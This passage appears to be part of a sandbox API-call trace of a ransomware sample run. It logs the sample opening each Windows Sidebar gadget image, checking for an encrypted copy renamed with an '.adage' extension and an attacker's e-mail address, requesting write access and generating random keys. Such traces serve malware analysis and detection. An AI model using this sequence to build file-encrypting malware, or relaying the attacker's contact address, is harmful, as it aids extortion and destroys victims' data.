sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_divider.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.994] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=131) returned 1 [0064.994] CloseHandle (hObject=0x180) returned 1 [0064.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_divider.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_divider.png")) returned 0x20 [0064.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_divider.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_divider.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_divider.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_divider.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.994] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_divider_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_divider_left.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.995] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=145) returned 1 [0064.995] CloseHandle (hObject=0x180) returned 1 [0064.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_divider_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_divider_left.png")) returned 0x20 [0064.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_divider_left.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_divider_left.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_divider_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_divider_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.995] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_divider_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_divider_right.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.995] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=139) returned 1 [0064.995] CloseHandle (hObject=0x180) returned 1 [0064.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_divider_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_divider_right.png")) returned 0x20 [0064.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_divider_right.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_divider_right.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_divider_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_divider_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.996] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_disabled.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_disabled.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.996] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=697) returned 1 [0064.996] CloseHandle (hObject=0x180) returned 1 [0064.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_disabled.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_disabled.png")) returned 0x20 [0064.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_disabled.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_disabled.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_disabled.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_disabled.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.996] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_hover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_hover.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.997] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1050) returned 1 [0064.997] CloseHandle (hObject=0x180) returned 1 [0064.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_hover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_hover.png")) returned 0x20 [0064.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_hover.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_hover.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.998] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_hover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_hover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.998] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.998] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_pressed.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_pressed.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.998] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1124) returned 1 [0064.999] CloseHandle (hObject=0x180) returned 1 [0064.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_pressed.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_pressed.png")) returned 0x20 [0064.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_pressed.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_pressed.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_pressed.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_pressed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.999] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_rest.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0064.999] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=855) returned 1 [0064.999] CloseHandle (hObject=0x180) returned 1 [0064.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_rest.png")) returned 0x20 [0064.999] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_rest.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_rest.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_left_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_left_rest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.000] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_disabled.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_disabled.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0065.000] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=697) returned 1 [0065.000] CloseHandle (hObject=0x180) returned 1 [0065.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_disabled.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_disabled.png")) returned 0x20 [0065.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_disabled.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_disabled.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_disabled.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_disabled.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.000] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_hover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_hover.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0065.001] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1047) returned 1 [0065.001] CloseHandle (hObject=0x180) returned 1 [0065.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_hover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_hover.png")) returned 0x20 [0065.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_hover.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_hover.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_hover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_hover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.001] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_pressed.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_pressed.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0065.001] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1119) returned 1 [0065.001] CloseHandle (hObject=0x180) returned 1 [0065.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_pressed.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_pressed.png")) returned 0x20 [0065.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_pressed.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_pressed.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_pressed.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_pressed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.002] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_rest.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0065.002] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=856) returned 1 [0065.002] CloseHandle (hObject=0x180) returned 1 [0065.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_rest.png")) returned 0x20 [0065.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_rest.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_rest.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_right_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_right_rest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.003] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\setting_back.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\setting_back.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0065.003] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1199) returned 1 [0065.003] CloseHandle (hObject=0x180) returned 1 [0065.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\setting_back.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\setting_back.png")) returned 0x20 [0065.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\setting_back.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\setting_back.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\setting_back.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\setting_back.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.003] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\shuffle_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\shuffle_down.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0065.005] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3471) returned 1 [0065.005] CloseHandle (hObject=0x180) returned 1 [0065.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\shuffle_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\shuffle_down.png")) returned 0x20 [0065.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\shuffle_down.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\shuffle_down.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\shuffle_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\shuffle_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.006] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\shuffle_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\shuffle_over.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0065.006] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3379) returned 1 [0065.006] CloseHandle (hObject=0x180) returned 1 [0065.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\shuffle_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\shuffle_over.png")) returned 0x20 [0065.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\shuffle_over.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\shuffle_over.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\shuffle_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\shuffle_over.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.006] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\shuffle_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\shuffle_up.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0065.007] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3421) returned 1 [0065.007] CloseHandle (hObject=0x180) returned 1 [0065.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\shuffle_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\shuffle_up.png")) returned 0x20 [0065.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\shuffle_up.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\shuffle_up.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0065.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\shuffle_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\shuffle_up.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.008] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0065.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile16.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\tile16.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0065.008] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=220) returned 1 [0065.008] CloseHandle (hObject=0x180) returned 1 [0065.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\tile16.png" (normalized: "c:\\program files\\windows 